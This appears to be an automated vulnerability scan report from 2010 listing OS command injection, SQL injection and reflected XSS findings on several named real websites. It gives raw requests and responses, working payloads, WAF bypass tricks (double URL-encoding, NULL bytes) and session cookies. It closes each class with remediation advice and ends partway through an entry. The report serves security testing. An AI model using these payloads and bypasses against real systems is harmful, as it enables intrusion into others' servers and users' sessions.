The mypets cookie appears to be vulnerable to OS command injection attacks. It is possible to use the pipe character (|) to inject arbitrary OS commands. The command output does not appear to be returned in the application's responses, however it is possible to inject time delay commands to verify the existence of the vulnerability.
The payload |ping%20-n%2020%20127.0.0.1||x was submitted in the mypets cookie. The application took 68135 milliseconds to respond to the request, compared with 10786 milliseconds for the original request, indicating that the injected command caused a time delay.
Issue background
Operating system command injection vulnerabilities arise when an application incorporates user-controllable data into a command that is processed by a shell command interpreter. If the user data is not strictly validated, an attacker can use shell metacharacters to modify the command to be executed, and inject arbitrary further commands that will be executed by the server.
OS command injection vulnerabilities are usually very serious and may lead to compromise of the server hosting the application, or of the application's own data and functionality. The exact potential for exploitation may depend upon the security context in which the command is executed, and the privileges which this context has regarding sensitive resources on the server.
Issue remediation
If possible, applications should avoid incorporating user-controllable data into operating system commands. In almost every situation, there are safer alternative methods of performing server-level tasks, which cannot be manipulated to perform additional commands than the one intended.
If it is considered unavoidable to incorporate user-supplied data into operating system commands, the following two layers of defense should be used to prevent attacks:
The user data should be strictly validated. Ideally, a whitelist of specific accepted values should be used. Otherwise, only short alphanumeric strings should be accepted. Input containing any other data, including any conceivable shell metacharacter or whitespace, should be rejected.
The application should use command APIs that launch a specific process via its name and command-line parameters, rather than passing a command string to a shell interpreter that supports command chaining and redirection. For example, the Java API Runtime.exec and the ASP.NET API Process.Start do not support shell metacharacters. This defense can mitigate the impact of an attack even in the event that an attacker circumvents the input validation defenses.
Request
GET /search.asp HTTP/1.1 Host: www.insightexpress.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mypets=-1c|ping%20-n%2020%20127.0.0.1||x; __utmz=184297086.1292122414.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=184297086.1265186133.1292122414.1292122414.1292122544.2; __utmc=184297086; __utmb=184297086.8.10.1292122544;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 14425 Content-Type: text/html Server: Microsoft-IIS/7.0 X-Powered-By: ASP.NET P3P: CP="NOI DSP COR NID CUR ADMa OUR STP STA" Date: Sun, 12 Dec 2010 03:39:51 GMT Connection: close
<HTML>
<head> <title>Search Results</title> <meta name="description" content="Our customer service group is a team of research and customer service professionals, available to answer your ...[SNIP]...
2. SQL injectionpreviousnext There are 10 instances of this issue:
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The creativeID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the creativeID parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.0 P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA" Date: Sun, 12 Dec 2010 03:10:37 GMT Connection: close Cache-Control: no-store Content-Length: 19663
var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D ...[SNIP]...
The esi parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the esi parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.0 P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA" Date: Sun, 12 Dec 2010 03:09:58 GMT Connection: close Cache-Control: no-store Content-Length: 19663
var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D ...[SNIP]...
2.3. http://core.insightexpressai.com/adServer/GetInvite2.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://core.insightexpressai.com
Path:
/adServer/GetInvite2.aspx
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.0 P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA" Date: Sun, 12 Dec 2010 03:13:31 GMT Connection: close Cache-Control: no-store Content-Length: 19679
var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D ...[SNIP]...
The referer parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the referer parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.0 P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA" Date: Sun, 12 Dec 2010 03:10:15 GMT Connection: close Cache-Control: no-store Content-Length: 19665
var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D ...[SNIP]...
The siteID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the siteID parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.0 P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA" Date: Sun, 12 Dec 2010 03:10:27 GMT Connection: close Cache-Control: no-store Content-Length: 19663
var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /util/download.jhtml%2527 HTTP/1.1 Host: software-security-assurance.techweb.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<HTML> <!-- This file is for Error code #403 - Forbidden --> <HEAD> <TITLE>Forbidden (403)</TITLE> </HEAD>
<BODY BGCOLOR="#eeeeff"> <H1>Forbidden (403)</H1>
You have requested data ...[SNIP]...
Request 2
GET /util/download.jhtml%2527%2527 HTTP/1.1 Host: software-security-assurance.techweb.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /util/download.jhtml HTTP/1.1 Host: software-security-assurance.techweb.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=%00'
<HTML> <!-- This file is for Error code #403 - Forbidden --> <HEAD> <TITLE>Forbidden (403)</TITLE> </HEAD>
<BODY BGCOLOR="#eeeeff"> <H1>Forbidden (403)</H1>
You have requested data ...[SNIP]...
Request 2
GET /util/download.jhtml HTTP/1.1 Host: software-security-assurance.techweb.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=%00''
The MUID cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the MUID cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /SAS/jview/167465860/direct HTTP/1.1 Host: redcated Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MUID=34AD5BBBF6FC477CAC5139C76AA247F9%00'; ID=optout;
Response 1
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 5766 Content-Type: text/javascript Expires: 0 X-Powered-By: ASP.NET Date: Sun, 12 Dec 2010 03:25:16 GMT Connection: close
var nRequiredVersion = 8; var bIsRightVersion = f ...[SNIP]... <SCR' + 'IPT LANGUAGE=VBScript\>'); document.writeln('on error resume next'); document.writeln('Set oFlashPlayer = CreateObject("ShockwaveFlash.ShockwaveFlash." & nRequiredVersion)'); document.writeln('If IsObject(oFlashPlayer) Then'); document.writeln('bIsRig ...[SNIP]...
Request 2
GET /SAS/jview/167465860/direct HTTP/1.1 Host: redcated Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MUID=34AD5BBBF6FC477CAC5139C76AA247F9%00''; ID=optout;
Response 2
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 233 Content-Type: text/javascript Expires: 0 X-Powered-By: ASP.NET Date: Sun, 12 Dec 2010 03:25:16 GMT Connection: close
2.9. http://redcated/SAS/jview/167465860/direct [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://redcated
Path:
/SAS/jview/167465860/direct
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /SAS/jview/167465860/direct?1%00'=1 HTTP/1.1 Host: redcated Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MUID=34AD5BBBF6FC477CAC5139C76AA247F9; ID=optout;
Response 1
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 5766 Content-Type: text/javascript Expires: 0 X-Powered-By: ASP.NET Date: Sun, 12 Dec 2010 03:25:18 GMT Connection: close
var nRequiredVersion = 8; var bIsRightVersion = f ...[SNIP]... <SCR' + 'IPT LANGUAGE=VBScript\>'); document.writeln('on error resume next'); document.writeln('Set oFlashPlayer = CreateObject("ShockwaveFlash.ShockwaveFlash." & nRequiredVersion)'); document.writeln('If IsObject(oFlashPlayer) Then'); document.writeln('bIsRig ...[SNIP]...
Request 2
GET /SAS/jview/167465860/direct?1%00''=1 HTTP/1.1 Host: redcated Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MUID=34AD5BBBF6FC477CAC5139C76AA247F9; ID=optout;
Response 2
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 233 Content-Type: text/javascript Expires: 0 X-Powered-By: ASP.NET Date: Sun, 12 Dec 2010 03:25:18 GMT Connection: close
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads 19318216'%20or%201%3d1--%20 and 19318216'%20or%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /ix/CreateNewAccount.asp19318216'%20or%201%3d1--%20?pageid=39 HTTP/1.1 Host: www.insightexpress.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mypets=-1c; __utmz=184297086.1292122414.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=184297086.1265186133.1292122414.1292122414.1292122544.2; __utmc=184297086; __utmb=184297086.8.10.1292122544;
Response 1 (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: CP="NOI DSP COR NID CUR ADMa OUR STP STA" Date: Sun, 12 Dec 2010 03:06:47 GMT Connection: close Content-Length: 23609
GET /ix/CreateNewAccount.asp19318216'%20or%201%3d2--%20?pageid=39 HTTP/1.1 Host: www.insightexpress.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mypets=-1c; __utmz=184297086.1292122414.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=184297086.1265186133.1292122414.1292122414.1292122544.2; __utmc=184297086; __utmb=184297086.8.10.1292122544;
Response 2 (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: CP="NOI DSP COR NID CUR ADMa OUR STP STA" Date: Sun, 12 Dec 2010 03:06:49 GMT Connection: close Content-Length: 2356
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>Cannot find Page</title>
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
3.1. http://altfarm.mediaplex.com/ad/js/15017-106408-3768-0 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://altfarm.mediaplex.com
Path:
/ad/js/15017-106408-3768-0
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b50c6'-alert(1)-'15c6e3874aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/js/15017-106408-3768-0?b50c6'-alert(1)-'15c6e3874aa=1 HTTP/1.1 Host: altfarm.mediaplex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=183366586.1289108887.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.1043956060.1289108887.1289108887.1289108887.1; svid=OPT-OUT;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Content-Type: text/html Content-Length: 230 Date: Sun, 12 Dec 2010 03:23:06 GMT
3.2. http://analytics.informationweek.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://analytics.informationweek.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 36d38--><script>alert(1)</script>64961da578 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <!-- This Line will output the doctype we set inside the bootstrap file --> <html xmlns="h ...[SNIP]... ogin?service=http%3A%2F%2Fanalytics.informationweek.com%2F%3F36d38--%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E64961da578%3D1&siteId=300001&successfulLoginRedirect=http://analytics.informationweek.com/?36d38--><script>alert(1)</script>64961da578=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into an HTML comment. The payload 6b2f2--><script>alert(1)</script>2d02489b714 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /index6b2f2--><script>alert(1)</script>2d02489b714/caslogin HTTP/1.1 Host: analytics.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1292122899863; s_cc=true; iwkbtn_101201=9297530625|1291241986731; iwkbtn_emc_101111=7192037394|1289542143541; PHPSESSID=krdg7a5b38teleu6mcddepsq63; s_sq=%5B%5BB%5D%5D; s_nr=1289542256120; iw_smb_vipre_101206=2370200911|1292121551825; s_lv_s=Less%20than%201%20day; iwa_user_login_check=a3JkZzdhNWIzOHRlbGV1Nm1jZGRlcHNxNjM%3D; __qca=P0-1196101997-1292112032216;
Response
HTTP/1.1 404 Not Found Date: Sun, 12 Dec 2010 03:24:02 GMT Server: Apache X-Powered-By: PHP/5.3.2 ZendServer/5.0 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: iwa_user_login_check=a3JkZzdhNWIzOHRlbGV1Nm1jZGRlcHNxNjM%3D; expires=Sat, 11-Dec-2010 17:24:02 GMT; path=/ Connection: close Content-Type: text/html Content-Length: 45863
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <!-- This Line will output the doctype we set inside the bootstrap file --> <html xmlns="h ...[SNIP]... ttp%3A%2F%2Fanalytics.informationweek.com%2Findex6b2f2--%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E2d02489b714%2Fcaslogin&siteId=300001&successfulLoginRedirect=http://analytics.informationweek.com/index6b2f2--><script>alert(1)</script>2d02489b714/caslogin"> ...[SNIP]...
The value of REST URL parameter 2 is copied into an HTML comment. The payload 8d405--><script>alert(1)</script>2df70261864 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /index/caslogin8d405--><script>alert(1)</script>2df70261864 HTTP/1.1 Host: analytics.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1292122899863; s_cc=true; iwkbtn_101201=9297530625|1291241986731; iwkbtn_emc_101111=7192037394|1289542143541; PHPSESSID=krdg7a5b38teleu6mcddepsq63; s_sq=%5B%5BB%5D%5D; s_nr=1289542256120; iw_smb_vipre_101206=2370200911|1292121551825; s_lv_s=Less%20than%201%20day; iwa_user_login_check=a3JkZzdhNWIzOHRlbGV1Nm1jZGRlcHNxNjM%3D; __qca=P0-1196101997-1292112032216;
Response
HTTP/1.1 404 Not Found Date: Sun, 12 Dec 2010 03:24:14 GMT Server: Apache X-Powered-By: PHP/5.3.2 ZendServer/5.0 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 46007
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <!-- This Line will output the doctype we set inside the bootstrap file --> <html xmlns="h ...[SNIP]... %2Fanalytics.informationweek.com%2Findex%2Fcaslogin8d405--%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E2df70261864&siteId=300001&successfulLoginRedirect=http://analytics.informationweek.com/index/caslogin8d405--><script>alert(1)</script>2df70261864"> ...[SNIP]...
The value of REST URL parameter 1 is copied into an HTML comment. The payload 98914--><script>alert(1)</script>d96271c31ef was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /user98914--><script>alert(1)</script>d96271c31ef/index/regsteptwo HTTP/1.1 Host: analytics.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1292122899863; s_cc=true; iwkbtn_101201=9297530625|1291241986731; iwkbtn_emc_101111=7192037394|1289542143541; PHPSESSID=krdg7a5b38teleu6mcddepsq63; s_sq=%5B%5BB%5D%5D; s_nr=1289542256120; iw_smb_vipre_101206=2370200911|1292121551825; s_lv_s=Less%20than%201%20day; iwa_user_login_check=a3JkZzdhNWIzOHRlbGV1Nm1jZGRlcHNxNjM%3D; __qca=P0-1196101997-1292112032216;
Response
HTTP/1.1 404 Not Found Date: Sun, 12 Dec 2010 03:24:24 GMT Server: Apache X-Powered-By: PHP/5.3.2 ZendServer/5.0 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: iwa_user_login_check=a3JkZzdhNWIzOHRlbGV1Nm1jZGRlcHNxNjM%3D; expires=Sat, 11-Dec-2010 17:24:24 GMT; path=/ Connection: close Content-Type: text/html Content-Length: 45879
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <!-- This Line will output the doctype we set inside the bootstrap file --> <html xmlns="h ...[SNIP]... F%2Fanalytics.informationweek.com%2Fuser98914--%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Ed96271c31ef%2Findex%2Fregsteptwo&siteId=300001&successfulLoginRedirect=http://analytics.informationweek.com/user98914--><script>alert(1)</script>d96271c31ef/index/regsteptwo"> ...[SNIP]...
The value of REST URL parameter 2 is copied into an HTML comment. The payload ee106--><script>alert(1)</script>1157d1e95c0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /user/indexee106--><script>alert(1)</script>1157d1e95c0/regsteptwo HTTP/1.1 Host: analytics.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1292122899863; s_cc=true; iwkbtn_101201=9297530625|1291241986731; iwkbtn_emc_101111=7192037394|1289542143541; PHPSESSID=krdg7a5b38teleu6mcddepsq63; s_sq=%5B%5BB%5D%5D; s_nr=1289542256120; iw_smb_vipre_101206=2370200911|1292121551825; s_lv_s=Less%20than%201%20day; iwa_user_login_check=a3JkZzdhNWIzOHRlbGV1Nm1jZGRlcHNxNjM%3D; __qca=P0-1196101997-1292112032216;
Response
HTTP/1.1 404 Not Found Date: Sun, 12 Dec 2010 03:24:36 GMT Server: Apache X-Powered-By: PHP/5.3.2 ZendServer/5.0 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: iwa_user_login_check=a3JkZzdhNWIzOHRlbGV1Nm1jZGRlcHNxNjM%3D; expires=Sat, 11-Dec-2010 17:24:36 GMT; path=/ Connection: close Content-Type: text/html Content-Length: 45879
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <!-- This Line will output the doctype we set inside the bootstrap file --> <html xmlns="h ...[SNIP]... alytics.informationweek.com%2Fuser%2Findexee106--%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E1157d1e95c0%2Fregsteptwo&siteId=300001&successfulLoginRedirect=http://analytics.informationweek.com/user/indexee106--><script>alert(1)</script>1157d1e95c0/regsteptwo"> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload f423e--><script>alert(1)</script>456331c0843 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
